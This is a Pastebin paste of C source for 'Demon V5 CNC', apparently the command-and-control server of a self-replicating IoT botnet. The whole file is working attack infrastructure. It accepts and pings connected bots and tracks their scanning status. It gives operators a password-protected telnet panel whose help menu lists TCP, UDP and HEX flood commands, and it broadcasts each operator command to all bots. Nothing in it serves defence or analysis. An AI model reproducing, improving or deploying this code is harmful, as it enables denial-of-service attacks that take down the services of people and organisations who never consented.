Self-Rep-NeTiS

Demon V5 CNC

Jan 26th, 2019
1,747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.66 KB | None | 0 0
  1. /////////////////////////////////
  2. //[ Demon V5.0 ] Self Rep NeTiS/
  3. ///////////////////////////////
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <stdint.h>
  7. #include <inttypes.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19. #include <arpa/inet.h>
  20. #define MAXFDS 1000000
  21.  
  22. struct login_info {
  23. char username[100];
  24. char password[100];
  25. };
  26. static struct login_info accounts[100];
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. } managements[MAXFDS];
  34. struct args {
  35. int sock;
  36. struct sockaddr_in cli_addr;
  37. };
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int OperatorsConnected = 0;
  41. static volatile int scannerreport;
  42.  
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC;
  78. hints.ai_socktype = SOCK_STREAM;
  79. hints.ai_flags = AI_PASSIVE;
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected)) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[0;34m", 9, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  128. send(i, "\n", 1, MSG_NOSIGNAL);
  129. }
  130. free(wot);
  131. }
  132. void *BotEventLoop(void *useless) {
  133. struct epoll_event event;
  134. struct epoll_event *events;
  135. int s;
  136. events = calloc (MAXFDS, sizeof event);
  137. while (1) {
  138. int n, i;
  139. n = epoll_wait (epollFD, events, MAXFDS, -1);
  140. for (i = 0; i < n; i++) {
  141. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  142. clients[events[i].data.fd].connected = 0;
  143. close(events[i].data.fd);
  144. continue;
  145. }
  146. else if (listenFD == events[i].data.fd) {
  147. while (1) {
  148. struct sockaddr in_addr;
  149. socklen_t in_len;
  150. int infd, ipIndex;
  151.  
  152. in_len = sizeof in_addr;
  153. infd = accept (listenFD, &in_addr, &in_len);
  154. if (infd == -1) {
  155. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  156. else {
  157. perror ("accept");
  158. break;
  159. }
  160. }
  161.  
  162. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  163. int dup = 0;
  164. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  165. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  166. if(clients[ipIndex].ip == clients[infd].ip) {
  167. dup = 1;
  168. break;
  169. }}
  170. s = make_socket_non_blocking (infd);
  171. if (s == -1) { close(infd); break; }
  172. event.data.fd = infd;
  173. event.events = EPOLLIN | EPOLLET;
  174. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  175. if (s == -1) {
  176. perror ("epoll_ctl");
  177. close(infd);
  178. break;
  179. }
  180. clients[infd].connected = 1;
  181. }
  182. continue;
  183. }
  184. else {
  185. int datafd = events[i].data.fd;
  186. struct clientdata_t *client = &(clients[datafd]);
  187. int done = 0;
  188. client->connected = 1;
  189. while (1) {
  190. ssize_t count;
  191. char buf[2048];
  192. memset(buf, 0, sizeof buf);
  193. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  194. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  195. trim(buf);
  196. if(strcmp(buf, "PING") == 0) {
  197. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  198. continue;
  199. }
  200. if(strstr(buf, "PROBING") == buf) {
  201. char *line = strstr(buf, "PROBING");
  202. scannerreport = 1;
  203. continue;
  204. }
  205. if(strstr(buf, "REMOVING PROBE") == buf) {
  206. char *line = strstr(buf, "REMOVING PROBE");
  207. scannerreport = 0;
  208. continue;
  209. }
  210. if(strcmp(buf, "PONG") == 0) {
  211. continue;
  212. }
  213. printf("%s\n", buf);
  214. }
  215. if (count == -1) {
  216. if (errno != EAGAIN) {
  217. done = 1;
  218. }
  219. break;
  220. }
  221. else if (count == 0) {
  222. done = 1;
  223. break;
  224. }
  225. if (done) {
  226. client->connected = 0;
  227. close(datafd);
  228. }}}}}}
  229. unsigned int BotsConnected() {
  230. int i = 0, total = 0;
  231. for(i = 0; i < MAXFDS; i++) {
  232. if(!clients[i].connected) continue;
  233. total++;
  234. }
  235. return total;
  236. }
  237. int Find_Login(char *str) {
  238. FILE *fp;
  239. int line_num = 0;
  240. int find_result = 0, find_line=0;
  241. char temp[512];
  242.  
  243. if((fp = fopen("login.txt", "r")) == NULL){
  244. return(-1);
  245. }
  246. while(fgets(temp, 512, fp) != NULL){
  247. if((strstr(temp, str)) != NULL){
  248. find_result++;
  249. find_line = line_num;
  250. }
  251. line_num++;
  252. }
  253. if(fp)
  254. fclose(fp);
  255. if(find_result == 0)return 0;
  256. return find_line;
  257. }
  258.  
  259. void *BotWorker(void *sock) {
  260. int datafd = (int)sock;
  261. int find_line;
  262. OperatorsConnected++;
  263. pthread_t title;
  264. char buf[2048];
  265. char* username;
  266. char* password;
  267. memset(buf, 0, sizeof buf);
  268. char botnet[2048];
  269. memset(botnet, 0, 2048);
  270. char botcount [2048];
  271. memset(botcount, 0, 2048);
  272. char statuscount [2048];
  273. memset(statuscount, 0, 2048);
  274.  
  275. FILE *fp;
  276. int i=0;
  277. int c;
  278. fp=fopen("login.txt", "r");
  279. while(!feof(fp)) {
  280. c=fgetc(fp);
  281. ++i;
  282. }
  283. int j=0;
  284. rewind(fp);
  285. while(j!=i-1) {
  286. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  287. ++j;
  288. }
  289.  
  290. char clearscreen [2048];
  291. memset(clearscreen, 0, 2048);
  292. sprintf(clearscreen, "\033[1A");
  293. char user [5000];
  294.  
  295. sprintf(user, "\x1b[0;36mUsername ~ ");
  296.  
  297. if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
  298. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  299. trim(buf);
  300. char* nickstring;
  301. sprintf(accounts[find_line].username, buf);
  302. nickstring = ("%s", buf);
  303. find_line = Find_Login(nickstring);
  304. if(strcmp(nickstring, accounts[find_line].username) == 0){
  305. char password [5000];
  306. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  307. sprintf(password, "\x1b[0;36mPassword ~ ", accounts[find_line].username);
  308. if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
  309. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  310. trim(buf);
  311. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  312. memset(buf, 0, 2048);
  313. goto Banner;
  314. }
  315. void *TitleWriter(void *sock) {
  316. int datafd = (int)sock;
  317. char string[2048];
  318. while(1) {
  319. memset(string, 0, 2048);
  320. sprintf(string, "%c]0; %d Devices %c", '\033', BotsConnected(), '\007');
  321. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  322. sleep(2);
  323. }
  324. }
  325. failed:
  326. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  327. goto end;
  328. Banner:
  329. pthread_create(&title, NULL, &TitleWriter, sock);
  330. char ascii_banner_line10 [5000];
  331. char ascii_banner_line1 [5000];
  332. char ascii_banner_line2 [5000];
  333. char ascii_banner_line3 [5000];
  334. char ascii_banner_line4 [5000];
  335. char ascii_banner_line5 [5000];
  336. char ascii_banner_line6 [5000];
  337. char ascii_banner_line7 [5000];
  338. char ascii_banner_line8 [5000];
  339. char ascii_banner_line11 [5000];
  340.  
  341.  
  342. sprintf(ascii_banner_line11, "\033[2J\033[1;1H");
  343. sprintf(ascii_banner_line10, " \r\n");
  344. sprintf(ascii_banner_line1, "\x1b[1;30m - - - - - - - - - - - - - - - - - - - - - - - - - - - \x1b[0m\r\n");
  345. sprintf(ascii_banner_line2, " [\x1b[1;31mハイブリッド\x1b[0m] \x1b[0;36mD E M O N B U I L D V 5 \x1b[0m[\x1b[1;31mハイブリッド\x1b[0m] \r\n");
  346. sprintf(ascii_banner_line3, "\x1b[1;30m - - - - - - - - -\x1b[0m\x1b[31m @SelfRepNeTiS \x1b[1;30m- - - - - - - - - -\x1b[0m \r\n");
  347. sprintf(ascii_banner_line4, "\x1b[1;30m - - - - - - - - -\x1b[0m\x1b[31m DDOS Responsibly\x1b[1;30m- - - - - - - - - -\x1b[0m \r\n");
  348. sprintf(ascii_banner_line5, "\x1b[1;30m - - - - - - - - -\x1b[0m\x1b[31m Don't Spam \x1b[1;30m- - - - - - - - - - - -\x1b[0m \r\n");
  349. sprintf(ascii_banner_line6, "\x1b[1;30m - - - - - - - - -\x1b[0m\x1b[31m help for help \x1b[1;30m- - - - - - - - - - -\x1b[0m \r\n");
  350. sprintf(ascii_banner_line7, "\x1b[1;30m - - - - - - - - - - - - - - - - - - - - - - - - - - - \x1b[0m \r\n");
  351. sprintf(ascii_banner_line8, " \r\n");
  352.  
  353.  
  354. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  355. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  356. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  357. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  363. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  364.  
  365. while(1) {
  366. char input [5000];
  367. sprintf(input, "\x1b[1;31m%s\x1b[1;30m@\x1b[1;31mDemon ~ ", accounts[find_line].username);
  368. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  369. break;
  370. }
  371. pthread_create(&title, NULL, &TitleWriter, sock);
  372. managements[datafd].connected = 1;
  373.  
  374. while(fdgets(buf, sizeof buf, datafd) > 0) {
  375. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "?", 4) == 0) {
  376. pthread_create(&title, NULL, &TitleWriter, sock);
  377. char ls1 [800];
  378. char ls2 [800];
  379. char ls3 [800];
  380. char ls4 [800];
  381.  
  382. sprintf(ls1, "\x1b[1;31m*** TCP ~ !* TCP IP PORT TIME 32 all 1460 10 \x1b[1;37m|\e[31m Launch A TCP Flood\r\n");
  383. sprintf(ls2, "\x1b[1;31m*** UDP ~ !* UDP IP PORT TIME 32 1460 10 \x1b[1;37m|\e[31m Launch A UDP Flood\r\n");
  384. sprintf(ls3, "\x1b[1;31m*** HEX ~ !* HEX IP PORT TIME PSIZE \x1b[1;37m|\e[31m Launch A HEX Flood\r\n");
  385. sprintf(ls4, "\x1b[1;31m*** STOP ~ !* STOP \x1b[1;37m|\e[31m Stops ALL Attacks\r\n");
  386.  
  387. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  391.  
  392. pthread_create(&title, NULL, &TitleWriter, sock);
  393. char input [5000];
  394. sprintf(input, "\x1b[1;31m%s\x1b[1;30m@\x1b[1;31mDemon ~ ", accounts[find_line].username);
  395. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  396. continue;
  397. }
  398. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0) {
  399. char clearscreen [2048];
  400. memset(clearscreen, 0, 2048);
  401. sprintf(clearscreen, "\033[2J\033[1;1H");
  402. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  404. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  413. while(1) {
  414. char input [5000];
  415. sprintf(input, "\x1b[1;31m%s\x1b[1;30m@\x1b[1;31mDemon ~ ", accounts[find_line].username);
  416. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  417. break;
  418. }
  419. continue;
  420. }
  421. trim(buf);
  422. char input [5000];
  423. sprintf(input, "\x1b[1;31m%s\x1b[1;30m@\x1b[1;31mDemon ~ ", accounts[find_line].username);;
  424. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  425. if(strlen(buf) == 0) continue;
  426. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  427.  
  428. FILE *LogFile;
  429. LogFile = fopen("user.log", "a");
  430. time_t now;
  431. struct tm *gmt;
  432. char formatted_gmt [50];
  433. char lcltime[50];
  434. now = time(NULL);
  435. gmt = gmtime(&now);
  436. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  437. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  438. fclose(LogFile);
  439. broadcast(buf, datafd, accounts[find_line].username);
  440. memset(buf, 0, 2048);
  441. }
  442.  
  443. end:
  444. managements[datafd].connected = 0;
  445. close(datafd);
  446. OperatorsConnected--;
  447. }
  448. void *BotListener(int port) {
  449. int sockfd, newsockfd;
  450. socklen_t clilen;
  451. struct sockaddr_in serv_addr, cli_addr;
  452. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  453. if (sockfd < 0) perror("ERROR opening socket");
  454. bzero((char *) &serv_addr, sizeof(serv_addr));
  455. serv_addr.sin_family = AF_INET;
  456. serv_addr.sin_addr.s_addr = INADDR_ANY;
  457. serv_addr.sin_port = htons(port);
  458. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  459. listen(sockfd,5);
  460. clilen = sizeof(cli_addr);
  461. while(1) {
  462. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  463. if (newsockfd < 0) perror("ERROR on accept");
  464. pthread_t thread;
  465. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  466. }}
  467. int main (int argc, char *argv[], void *sock) {
  468. signal(SIGPIPE, SIG_IGN);
  469. int s, threads, port;
  470. struct epoll_event event;
  471. if (argc != 4) {
  472. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  473. exit (EXIT_FAILURE);
  474. }
  475. port = atoi(argv[3]);
  476. threads = atoi(argv[2]);
  477. listenFD = create_and_bind (argv[1]);
  478. if (listenFD == -1) abort ();
  479. s = make_socket_non_blocking (listenFD);
  480. if (s == -1) abort ();
  481. s = listen (listenFD, SOMAXCONN);
  482. if (s == -1) {
  483. perror ("listen");
  484. abort ();
  485. }
  486. epollFD = epoll_create1 (0);
  487. if (epollFD == -1) {
  488. perror ("epoll_create");
  489. abort ();
  490. }
  491. event.data.fd = listenFD;
  492. event.events = EPOLLIN | EPOLLET;
  493. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  494. if (s == -1) {
  495. perror ("epoll_ctl");
  496. abort ();
  497. }
  498. pthread_t thread[threads + 2];
  499. while(threads--) {
  500. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  501. }
  502. pthread_create(&thread[0], NULL, &BotListener, port);
  503. while(1) {
  504. broadcast("PING", -1, "ZERO");
  505. sleep(60);
  506. }
  507. close (listenFD);
  508. return EXIT_SUCCESS;
  509. }
Advertisement
Add Comment
Please, Sign In to add comment